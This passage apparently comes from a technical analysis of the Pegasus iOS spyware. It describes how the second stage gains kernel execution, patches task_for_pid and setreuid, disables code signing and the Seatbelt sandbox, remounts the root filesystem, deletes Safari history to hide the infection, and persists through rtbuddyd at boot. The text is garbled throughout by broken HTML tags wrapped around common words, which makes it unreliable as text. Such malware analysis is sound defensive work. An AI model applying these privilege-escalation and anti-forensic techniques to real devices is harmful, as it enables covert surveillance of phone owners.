<str<strong>on</strong>g>the</str<strong>on</strong>g> <str<strong>on</strong>g>of</str<strong>on</strong>g>fset applied to <str<strong>on</strong>g>the</str<strong>on</strong>g> address from <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel when passed to userland in order to obfuscate<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> true locati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> data in <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel. By obtaining this value, it is possible to deobfuscate<br />
kernel addresses back to <str<strong>on</strong>g>the</str<strong>on</strong>g>ir real address values. 32Stage2 calls fstat <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> read pipe<br />
from <str<strong>on</strong>g>the</str<strong>on</strong>g> generated pipe set and <str<strong>on</strong>g>the</str<strong>on</strong>g>n calculates <str<strong>on</strong>g>the</str<strong>on</strong>g> difference between <str<strong>on</strong>g>the</str<strong>on</strong>g> locati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> stat<br />
Page 30
structure and <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel address space. This value is <str<strong>on</strong>g>the</str<strong>on</strong>g>n stored in a global variable for use by<br />
functi<strong>on</strong>s that must access kernel memory for <str<strong>on</strong>g>the</str<strong>on</strong>g> purposes <str<strong>on</strong>g>of</str<strong>on</strong>g> code executi<strong>on</strong>.<br />
Whenever 32Stage2 wants to execute code within <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel, <str<strong>on</strong>g>the</str<strong>on</strong>g> following data structure is<br />
written to <str<strong>on</strong>g>the</str<strong>on</strong>g> write pipe <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> generated pipe set:<br />
[00] argument 1<br />
[04] argument 2<br />
[08] address <str<strong>on</strong>g>of</str<strong>on</strong>g> code to execute<br />
In order to call <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> specified in <str<strong>on</strong>g>of</str<strong>on</strong>g>fset 8 <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> data structure, ano<str<strong>on</strong>g>the</str<strong>on</strong>g>r DWORD is<br />
prepended to <str<strong>on</strong>g>the</str<strong>on</strong>g> structure and passed to <str<strong>on</strong>g>the</str<strong>on</strong>g> real-time clock’s getattr handler (accessed via<br />
OSSerializer::serialize), which places argument 1 into R3 and argument 2 into R1<br />
before calling <str<strong>on</strong>g>the</str<strong>on</strong>g> address specified for <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> to execute. By prepending <str<strong>on</strong>g>the</str<strong>on</strong>g> unused<br />
DWORD to <str<strong>on</strong>g>the</str<strong>on</strong>g> data structure, <str<strong>on</strong>g>the</str<strong>on</strong>g> data structure becomes <str<strong>on</strong>g>the</str<strong>on</strong>g> vtable replacement for<br />
OSSerializer. This technique is used in two different functi<strong>on</strong>s within 32Stage2. One functi<strong>on</strong><br />
allows arbitrary kernel functi<strong>on</strong> calls and <str<strong>on</strong>g>the</str<strong>on</strong>g> o<str<strong>on</strong>g>the</str<strong>on</strong>g>r is used to write DWORD values into <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
kernel address space.<br />
Patching <str<strong>on</strong>g>the</str<strong>on</strong>g> Kernel to Allow Kernel Port Access<br />
With <str<strong>on</strong>g>the</str<strong>on</strong>g> ability to read, write, and execute arbitrary locati<strong>on</strong>s within <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel address space,<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> next step involves gaining more direct access to <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel through <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel port. The<br />
functi<strong>on</strong> task_for_pid will return an error if called with <str<strong>on</strong>g>the</str<strong>on</strong>g> PID value <str<strong>on</strong>g>of</str<strong>on</strong>g> 0. In order to bypass<br />
this protecti<strong>on</strong>, Stage 2 modifies four different locati<strong>on</strong>s within <str<strong>on</strong>g>the</str<strong>on</strong>g> task_for_pid functi<strong>on</strong>.<br />
Before <str<strong>on</strong>g>the</str<strong>on</strong>g> patching <str<strong>on</strong>g>of</str<strong>on</strong>g> task_for_pid begins, Stage 2 determines if <str<strong>on</strong>g>the</str<strong>on</strong>g> area requiring <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
patch is within a regi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> memory that is read/execute. If <str<strong>on</strong>g>the</str<strong>on</strong>g> memory is n<strong>on</strong>-writable, Stage 2<br />
will directly modify <str<strong>on</strong>g>the</str<strong>on</strong>g> permissi<strong>on</strong>s <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> memory regi<strong>on</strong> to allow for write access and <str<strong>on</strong>g>the</str<strong>on</strong>g>n<br />
invalidate <str<strong>on</strong>g>the</str<strong>on</strong>g> dcache and flush <str<strong>on</strong>g>the</str<strong>on</strong>g> data and instructi<strong>on</strong> TLBs in order to ensure that <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
memory regi<strong>on</strong> is updated with <str<strong>on</strong>g>the</str<strong>on</strong>g> new permissi<strong>on</strong>s.<br />
After patching <str<strong>on</strong>g>the</str<strong>on</strong>g> task_for_pid functi<strong>on</strong> to allow <str<strong>on</strong>g>the</str<strong>on</strong>g> caller to gain a port to <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel, Stage<br />
2 will attempt to get a kernel port by calling task_for_pid(mach_task_self, 0, &port)<br />
up to five times with a 100 mllisec<strong>on</strong>d delay between each attempt before calling <str<strong>on</strong>g>the</str<strong>on</strong>g> assert<br />
callback and exiting.<br />
Page 31
Secti<strong>on</strong> 3: Privilege Escalati<strong>on</strong> and Activating <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
Jailbreak Binary<br />
This secti<strong>on</strong> covers <str<strong>on</strong>g>the</str<strong>on</strong>g> final steps carried out in Stage 2 to gain root access <strong>on</strong><br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> iPh<strong>on</strong>e, disable code signing, <str<strong>on</strong>g>the</str<strong>on</strong>g>n drop and activate <str<strong>on</strong>g>the</str<strong>on</strong>g> jailbreak binary. This<br />
stage leverages <str<strong>on</strong>g>the</str<strong>on</strong>g> final Trident vulnerability, where kernel memory corrupti<strong>on</strong><br />
leads to jailbreak (CVE-2016-4656).<br />
Page 32
System Modificati<strong>on</strong> for Privilege Escalati<strong>on</strong><br />
The next step for 32Stage2 is to gain root access over <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s ph<strong>on</strong>e. If <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2 process<br />
is not currently running as root (UID = 0), which it will not be <strong>on</strong> a n<strong>on</strong>-jailbroken ph<strong>on</strong>e, <str<strong>on</strong>g>the</str<strong>on</strong>g>n<br />
Stage 2 patches <str<strong>on</strong>g>the</str<strong>on</strong>g> setreuid functi<strong>on</strong> to skip <str<strong>on</strong>g>the</str<strong>on</strong>g> check for privilege escalati<strong>on</strong>. Once <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
modificati<strong>on</strong> to setreuid is complete, <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> is called up to five times (with 500ms delays<br />
between each call) until setreuid(0, 0) returns successful. After five attempts (or after a<br />
successful setreuid call), <str<strong>on</strong>g>the</str<strong>on</strong>g> modificati<strong>on</strong> made to setreuid is reversed. A final check <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
process’s user value (UID) is made to ensure that it is, indeed, root (0). If <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> getuid<br />
returns any value o<str<strong>on</strong>g>the</str<strong>on</strong>g>r than 0, <str<strong>on</strong>g>the</str<strong>on</strong>g> assert is called and Stage 2 exits.<br />
Stage 2 calls <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel functi<strong>on</strong> kauth_cred_get_with_ref by means <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> real-time clock<br />
clock_get_attributes vector in order to receive <str<strong>on</strong>g>the</str<strong>on</strong>g> credentials for <str<strong>on</strong>g>the</str<strong>on</strong>g> main thread.<br />
Following this, Stage 2 locates <str<strong>on</strong>g>the</str<strong>on</strong>g> mac_policy_list, which c<strong>on</strong>tains <str<strong>on</strong>g>the</str<strong>on</strong>g> list <str<strong>on</strong>g>of</str<strong>on</strong>g> access c<strong>on</strong>trol<br />
policy modules currently loaded into <str<strong>on</strong>g>the</str<strong>on</strong>g> <strong>iOS</strong> kernel. Stage 2 examines <str<strong>on</strong>g>the</str<strong>on</strong>g> list looking for a<br />
module that starts with <str<strong>on</strong>g>the</str<strong>on</strong>g> name “Seat”, referring to <str<strong>on</strong>g>the</str<strong>on</strong>g> “Seatbelt sandbox policy”. If <str<strong>on</strong>g>the</str<strong>on</strong>g> policy<br />
module is not found, Stage 2 calls <str<strong>on</strong>g>the</str<strong>on</strong>g> assert callback and terminates. If <str<strong>on</strong>g>the</str<strong>on</strong>g> module is found,<br />
however, <str<strong>on</strong>g>the</str<strong>on</strong>g> mpc_field_<str<strong>on</strong>g>of</str<strong>on</strong>g>f member is read and modified to allow <str<strong>on</strong>g>the</str<strong>on</strong>g> current process<br />
greater access to <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s iPh<strong>on</strong>e.<br />
With access to <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel port now established and restricti<strong>on</strong>s removed that would prevent<br />
Stage 2 from performing privileged acti<strong>on</strong>s normally blocked by sandbox policy, Stage 2 no<br />
l<strong>on</strong>ger requires <str<strong>on</strong>g>the</str<strong>on</strong>g> hooked getattr handler for <str<strong>on</strong>g>the</str<strong>on</strong>g> real-time clock. To ensure that future calls<br />
to this handler do not crash <str<strong>on</strong>g>the</str<strong>on</strong>g> ph<strong>on</strong>e, <str<strong>on</strong>g>the</str<strong>on</strong>g> getattr functi<strong>on</strong> pointer is modified to point to <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
instructi<strong>on</strong>s:<br />
BX LR<br />
This new handler functi<strong>on</strong> effectively turns future calls to <str<strong>on</strong>g>the</str<strong>on</strong>g> real-time clock’s getattr handler<br />
into a NOP. This is presumably d<strong>on</strong>e to ensure that future calls <str<strong>on</strong>g>the</str<strong>on</strong>g> to <str<strong>on</strong>g>the</str<strong>on</strong>g> getattr handler (by<br />
some o<str<strong>on</strong>g>the</str<strong>on</strong>g>r process) do not have unintended c<strong>on</strong>sequences and cause <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel to crash.<br />
Disabling Code Signing<br />
By default, <strong>iOS</strong> <strong>on</strong> a standard iPh<strong>on</strong>e will prevent unsigned code from running through normal<br />
means, such as an execv or system call. Likewise, modificati<strong>on</strong>s to <str<strong>on</strong>g>the</str<strong>on</strong>g> root file system are<br />
prevented by setting <str<strong>on</strong>g>the</str<strong>on</strong>g> filesystem as read-<strong>on</strong>ly. These are situati<strong>on</strong>s that will prevent Stage 2<br />
from executing a jailbreak program and will prevent <str<strong>on</strong>g>the</str<strong>on</strong>g> jailbreak program, if it activates, from<br />
being able to modify <str<strong>on</strong>g>the</str<strong>on</strong>g> system. Stage 2 modifies several kernel functi<strong>on</strong>s and two kernel<br />
extensi<strong>on</strong>s (kext) in order to permit <str<strong>on</strong>g>the</str<strong>on</strong>g>se forbidden acti<strong>on</strong>s. Stage 2 starts by finding <str<strong>on</strong>g>the</str<strong>on</strong>g> kext for<br />
Page 33
com.apple.driver.AppleMobileFileIntegrity and com.apple.driver.LightweightVolumeManager.<br />
The com.apple.driver.AppleMobileFileIntegrity (AMFI) extensi<strong>on</strong> is resp<strong>on</strong>sible for enforcing<br />
<strong>iOS</strong>’s code signing functi<strong>on</strong>ality. The com.apple.driver.LightweightVolumeManager extensi<strong>on</strong> is<br />
resp<strong>on</strong>sible for <str<strong>on</strong>g>the</str<strong>on</strong>g> partiti<strong>on</strong> table <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> main storage device.<br />
Stage 2 locates each <str<strong>on</strong>g>of</str<strong>on</strong>g> extensi<strong>on</strong>s by calling OSKextCopyLoadedKextInfo for each extenti<strong>on</strong>’s<br />
name, which returns a dicti<strong>on</strong>ary object c<strong>on</strong>taining informati<strong>on</strong> about <str<strong>on</strong>g>the</str<strong>on</strong>g> extensi<strong>on</strong>. Within <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
dicti<strong>on</strong>ary is <str<strong>on</strong>g>the</str<strong>on</strong>g> loading <str<strong>on</strong>g>of</str<strong>on</strong>g>fset <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> extensi<strong>on</strong> being queried that Stage 2 turns into <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel<br />
memory address by adding <str<strong>on</strong>g>the</str<strong>on</strong>g> known kernel slide value.<br />
Armed with <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel address <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> AMFI, Stage 2 locates <str<strong>on</strong>g>the</str<strong>on</strong>g> following global variables:<br />
● amfi_get_out_<str<strong>on</strong>g>of</str<strong>on</strong>g>_my_way<br />
● cs_enforcement_disable<br />
These two variables, when set, disable AFMI (amfi_get_out_<str<strong>on</strong>g>of</str<strong>on</strong>g>_my_way) and disable code<br />
signing enforcement (cs_enforcement_disable). Stage 2 <str<strong>on</strong>g>the</str<strong>on</strong>g>n sets two more global<br />
variables: debug_flags and DEBUGflag. These two variables allow for debugging privilege<br />
<strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s iPh<strong>on</strong>e, fur<str<strong>on</strong>g>the</str<strong>on</strong>g>r reducing <str<strong>on</strong>g>the</str<strong>on</strong>g> restricti<strong>on</strong>s that <str<strong>on</strong>g>the</str<strong>on</strong>g> sandbox (Seatbelt) imposes <strong>on</strong><br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> device.<br />
Next, Stage 2 patches <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel functi<strong>on</strong> vm_map_enter and vm_map_protect in order to<br />
disable code signing verificati<strong>on</strong>s (making it possible to allocate RWX regi<strong>on</strong>s) within <str<strong>on</strong>g>the</str<strong>on</strong>g> virtual<br />
memory manager. Following this, Stage 2 patches <str<strong>on</strong>g>the</str<strong>on</strong>g> _mapForIO functi<strong>on</strong> within <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
LightweightVolumeManager before patching <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel functi<strong>on</strong> csops to disable even more<br />
code signing protecti<strong>on</strong>s.<br />
Remounting <str<strong>on</strong>g>the</str<strong>on</strong>g> Drive<br />
In order to jailbreak a device, <str<strong>on</strong>g>the</str<strong>on</strong>g> root file system must be accessible for writing. Stage 2 tests<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> writability <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> root file system by calling <str<strong>on</strong>g>the</str<strong>on</strong>g> access functi<strong>on</strong> against /sbin/launchd to<br />
determine if Stage 2 has write access to <str<strong>on</strong>g>the</str<strong>on</strong>g> root file system. If <str<strong>on</strong>g>the</str<strong>on</strong>g> file is read-<strong>on</strong>ly, Stage 2<br />
patches <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel functi<strong>on</strong> _mac_mount to disable <str<strong>on</strong>g>the</str<strong>on</strong>g> protecti<strong>on</strong> policy that prevents<br />
remounting <str<strong>on</strong>g>the</str<strong>on</strong>g> filesystem as read/write and <str<strong>on</strong>g>the</str<strong>on</strong>g>n remounts <str<strong>on</strong>g>the</str<strong>on</strong>g> root filesystem as read/write by<br />
calling mount(“hfs”, “/”, MNT_UPDATE, mountData) where mountData specifies <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
/dev/disk0s1s1 device.<br />
Stage 2 is written such that it will <strong>on</strong>ly operate <strong>on</strong> <strong>iOS</strong> 9 series iPh<strong>on</strong>es, but code exists that<br />
suggest it was <strong>on</strong>ce used <strong>on</strong> older <strong>iOS</strong> versi<strong>on</strong>s. As evidence to support this claim, <str<strong>on</strong>g>the</str<strong>on</strong>g>re exists<br />
a functi<strong>on</strong> that is called after Stage 2 remounts <str<strong>on</strong>g>the</str<strong>on</strong>g> root file system that modifies its executi<strong>on</strong><br />
path if it is running <strong>on</strong> <strong>iOS</strong> 7, <strong>iOS</strong> 8, or <strong>iOS</strong> 9. Depending <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> <strong>iOS</strong> versi<strong>on</strong>, <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> calls<br />
fsctl <strong>on</strong> ei<str<strong>on</strong>g>the</str<strong>on</strong>g>r /bin/launchctl (for <strong>iOS</strong> 7 and 8) or /bin/launchd (for <strong>iOS</strong> 9). The<br />
fsctl call will modify <str<strong>on</strong>g>the</str<strong>on</strong>g> low disk space warning threshold as well as <str<strong>on</strong>g>the</str<strong>on</strong>g> very low disk space<br />
warning threshold, setting <str<strong>on</strong>g>the</str<strong>on</strong>g> values to 8192 and 8208, respectively.<br />
Page 34
Cleanup<br />
Stage 2 is activated as <str<strong>on</strong>g>the</str<strong>on</strong>g> result <str<strong>on</strong>g>of</str<strong>on</strong>g> a bug in Safari that allows for arbitrary code executi<strong>on</strong>. As<br />
<strong>on</strong>e <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> last activities Stage 2 performs prior to dropping and activating <str<strong>on</strong>g>the</str<strong>on</strong>g> jailbreak binary,<br />
Stage 2 attempts to cover its infecti<strong>on</strong> vector by cleaning up <str<strong>on</strong>g>the</str<strong>on</strong>g> history and cache files from<br />
Safari. The process <str<strong>on</strong>g>of</str<strong>on</strong>g> clearing <str<strong>on</strong>g>the</str<strong>on</strong>g> Safari browser history and cache files is straightforward and<br />
<strong>iOS</strong> versi<strong>on</strong>-specific.<br />
For <strong>iOS</strong> 8 and <strong>iOS</strong> 9 (Stage 2 will terminate at <str<strong>on</strong>g>the</str<strong>on</strong>g> beginning if it is not running <strong>on</strong> <strong>iOS</strong> 9), <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
following files are summarily deleted from <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s iPh<strong>on</strong>e to remove browser and cache<br />
informati<strong>on</strong>:<br />
●<br />
●<br />
●<br />
●<br />
●<br />
●<br />
●<br />
●<br />
●<br />
●<br />
/Library/Safari/SuspendState.plist<br />
/Library/Safari/History.db<br />
/Library/Safari/History.db-shm<br />
/Library/Safari/History.db-wal<br />
/Library/Safari/History.db-journal<br />
/Library/Caches/com.apple.mobilesafari/Cache.db<br />
/Library/Caches/com.apple.mobilesafari/Cache.db-shm<br />
/Library/Caches/com.apple.mobilesafari/Cache.db-wal<br />
/Library/Caches/com.apple.mobilesafari/Cache.db-journal<br />
(files in <str<strong>on</strong>g>the</str<strong>on</strong>g> directory) /Library/Caches/com.apple.mobilesafari/fsCachedData/<br />
For <strong>iOS</strong> 7, <str<strong>on</strong>g>the</str<strong>on</strong>g> following files are removed:<br />
●<br />
●<br />
●<br />
●<br />
●<br />
/Library/Safari/SuspendState.plist<br />
/Library/Caches/com.apple.mobilesafari/Cache.db<br />
/Library/Caches/com.apple.mobilesafari/Cache.db-shm<br />
/Library/Caches/com.apple.mobilesafari/Cache.db-wal<br />
/Library/Caches/com.apple.mobilesafari/Cache.db-journal<br />
The functi<strong>on</strong> c<strong>on</strong>cludes by calling sync to ensure <str<strong>on</strong>g>the</str<strong>on</strong>g> deleti<strong>on</strong>s are written to disk.<br />
Next Stage Installati<strong>on</strong><br />
Again, showing evidence <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> use <str<strong>on</strong>g>of</str<strong>on</strong>g> code originally targeting an older <strong>iOS</strong> versi<strong>on</strong>, <str<strong>on</strong>g>the</str<strong>on</strong>g> next<br />
functi<strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> main thread calls decompresses and drops two files <strong>on</strong>to <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s filesystem.<br />
The following code snippet illustrates how Stage 2 determines <str<strong>on</strong>g>the</str<strong>on</strong>g> locati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> jailbreaker<br />
binary <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s device:<br />
if ( (unsigned int)(majorVersi<strong>on</strong> - 8) >= 2 )<br />
{<br />
if ( majorVersi<strong>on</strong> == 7 )<br />
{<br />
pszJBFilenamePath = "/bin/sh";<br />
if ( flag)<br />
Page 35
pszJBFilenamePath = "/private/var/tmp/jb-install";<br />
}<br />
else<br />
{<br />
assert();<br />
writeLog(3, "%.2s%5.5d\n", "bh.c", 134);<br />
exit(-1);<br />
pszJBFilenamePath = 0;<br />
}<br />
}<br />
else<br />
{<br />
pszJBFilenamePath = "/sbin/mount_nfs.temp";<br />
}<br />
The code snippet shows that for <strong>iOS</strong> versi<strong>on</strong> 7, <str<strong>on</strong>g>the</str<strong>on</strong>g> install path for <str<strong>on</strong>g>the</str<strong>on</strong>g> next stage’s binary is<br />
ei<str<strong>on</strong>g>the</str<strong>on</strong>g>r /bin/sh or /private/var/tmp/jb-install (if flag is n<strong>on</strong>-zero). For <strong>iOS</strong> versi<strong>on</strong>s<br />
older than 7, <str<strong>on</strong>g>the</str<strong>on</strong>g> assert callback is called and <str<strong>on</strong>g>the</str<strong>on</strong>g> program terminates. For <strong>iOS</strong> 8 and greater,<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> install path is specified as /sbin/mount_nfs.temp.<br />
The size <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> data blob c<strong>on</strong>taining <str<strong>on</strong>g>the</str<strong>on</strong>g> next stage binary is verified to be n<strong>on</strong>-zero. If <str<strong>on</strong>g>the</str<strong>on</strong>g> size is<br />
zero, <str<strong>on</strong>g>the</str<strong>on</strong>g> assert callback occurs and Stage 2 is terminated. The BZ2_* API functi<strong>on</strong>s are <str<strong>on</strong>g>the</str<strong>on</strong>g>n<br />
used by Stage 2 to decompress <str<strong>on</strong>g>the</str<strong>on</strong>g> data into two files: <str<strong>on</strong>g>the</str<strong>on</strong>g> first file is <str<strong>on</strong>g>the</str<strong>on</strong>g> next stage binary,<br />
which, for <strong>iOS</strong> 9, is stored at /sbin/mount_nfs.temp. The sec<strong>on</strong>d file is <str<strong>on</strong>g>the</str<strong>on</strong>g> c<strong>on</strong>figurati<strong>on</strong><br />
file, which is stored at /private/var/tmp/jb_cfg.<br />
The permissi<strong>on</strong>s <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> two files are changed to 0755 (making <str<strong>on</strong>g>the</str<strong>on</strong>g> files executable) before<br />
c<strong>on</strong>trol returns to <str<strong>on</strong>g>the</str<strong>on</strong>g> main thread.<br />
The final functi<strong>on</strong> that Stage 2 calls before terminating is resp<strong>on</strong>sible for moving <str<strong>on</strong>g>the</str<strong>on</strong>g> binary<br />
dropped by <str<strong>on</strong>g>the</str<strong>on</strong>g> previous step. For <strong>iOS</strong> versi<strong>on</strong>s 8 and 9, <str<strong>on</strong>g>the</str<strong>on</strong>g> file /sbin/mount_nfs.temp is<br />
renamed to /sbin/mount_nfs. If <str<strong>on</strong>g>the</str<strong>on</strong>g> <strong>iOS</strong> <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s ph<strong>on</strong>e is <strong>iOS</strong> 9, an attempt is made<br />
to delete /sbin/mount_nfs prior to <str<strong>on</strong>g>the</str<strong>on</strong>g> renaming operati<strong>on</strong>. After renaming <str<strong>on</strong>g>the</str<strong>on</strong>g> file, <str<strong>on</strong>g>the</str<strong>on</strong>g> assert<br />
callback functi<strong>on</strong> is called followed by <str<strong>on</strong>g>the</str<strong>on</strong>g> exit functi<strong>on</strong>, terminating Stage 2.<br />
Once executi<strong>on</strong> returns to <str<strong>on</strong>g>the</str<strong>on</strong>g> main thread, Stage 2 terminates silently.<br />
Existing Jailbreak Detecti<strong>on</strong><br />
As menti<strong>on</strong>ed previously, <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2 binary operates in two distinct modes. The first, which has<br />
already been discussed, c<strong>on</strong>stitutes a complete <strong>iOS</strong> exploit and jailbreak. The sec<strong>on</strong>d is <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
code path taken when <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2 binary is run <strong>on</strong> a system that has already been jailbroken. In<br />
this mode, Stage 2 simply takes advantage <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> existing jailbreak backdoors to install <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
<str<strong>on</strong>g>Pegasus</str<strong>on</strong>g>-specific kernel patches.<br />
Page 36
To determine whe<str<strong>on</strong>g>the</str<strong>on</strong>g>r <str<strong>on</strong>g>the</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> device has already been jailbroken, Stage 2 attempts to acquire a<br />
valid mach port (a handle) into <str<strong>on</strong>g>the</str<strong>on</strong>g> <strong>iOS</strong> kernel using a comm<strong>on</strong> jailbreak backdoor. This check is<br />
performed simply by calling task_for_pid with <str<strong>on</strong>g>the</str<strong>on</strong>g> PID value set to 0. Patching<br />
task_for_pid in this way is a comm<strong>on</strong> backdoor mechanism used by <strong>iOS</strong> jailbreaks that<br />
provides direct kernel memory access to a user mode process. Calling task_for_pid with a<br />
PID <str<strong>on</strong>g>of</str<strong>on</strong>g> 0 is not normally allowed by <strong>iOS</strong>. If task_for_pid returns a valid task port, <str<strong>on</strong>g>the</str<strong>on</strong>g>n <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
Stage 2 process has elevated access to <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel and can forgo <str<strong>on</strong>g>the</str<strong>on</strong>g> privilege escalati<strong>on</strong> steps<br />
described previously.<br />
Stage 2 also checks for <str<strong>on</strong>g>the</str<strong>on</strong>g> presence <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> binary /bin/sh. On a n<strong>on</strong>-jailbroken ph<strong>on</strong>e, this<br />
binary should never exist. When Stage 2 detects <str<strong>on</strong>g>the</str<strong>on</strong>g> presence <str<strong>on</strong>g>of</str<strong>on</strong>g> this binary, it assumes that <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
existing jailbreak is ei<str<strong>on</strong>g>the</str<strong>on</strong>g>r incompatible with <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> or that all required kernel patches are<br />
already in place and no fur<str<strong>on</strong>g>the</str<strong>on</strong>g>r acti<strong>on</strong> is needed. When /bin/sh is identified <strong>on</strong> a device, prior<br />
to exploitati<strong>on</strong>, Stage 2 simply exits cleanly.<br />
Page 37
Secti<strong>on</strong> 4: <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> Persistence Mechanism<br />
This secti<strong>on</strong> details <str<strong>on</strong>g>the</str<strong>on</strong>g> persistence mechanism used by <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> to remain <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
device after compromise via an exploit <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> Trident vulnerabilities, and c<strong>on</strong>tinue<br />
to execute unsigned code each time <str<strong>on</strong>g>the</str<strong>on</strong>g> device reboots.<br />
Page 38
<str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> Persistence Mechanism<br />
The persistence mechanism used by <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> to reliably execute unsigned code each time <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
device boots (and, ultimately, execute <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel exploit to again jailbreak <str<strong>on</strong>g>the</str<strong>on</strong>g> device) relies <strong>on</strong> a<br />
combinati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> two distinct issues.<br />
The first issue is <str<strong>on</strong>g>the</str<strong>on</strong>g> presence <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> rtbuddyd service within a plist (to be launched <strong>on</strong> device<br />
boot). Note that prior to <strong>iOS</strong> 10, rtbuddyd is present <strong>on</strong> some iPh<strong>on</strong>e devices for example <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
iPh<strong>on</strong>e 6S, but not <strong>on</strong> o<str<strong>on</strong>g>the</str<strong>on</strong>g>rs like <str<strong>on</strong>g>the</str<strong>on</strong>g> iPh<strong>on</strong>e 6. As a result, any signed binary that can be copied<br />
into <str<strong>on</strong>g>the</str<strong>on</strong>g> specified path (/usr/libexec/rtbuddyd) will be executed at boot time with <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
arguments specified in <str<strong>on</strong>g>the</str<strong>on</strong>g> plist (specifically “--early-boot”).<br />
rtbuddyProgramArgumentsrtbuddyd --<br />
early-bootPerformInRestoreRequireSuccess<br />
Program/usr/libexec/rtbuddyd<br />
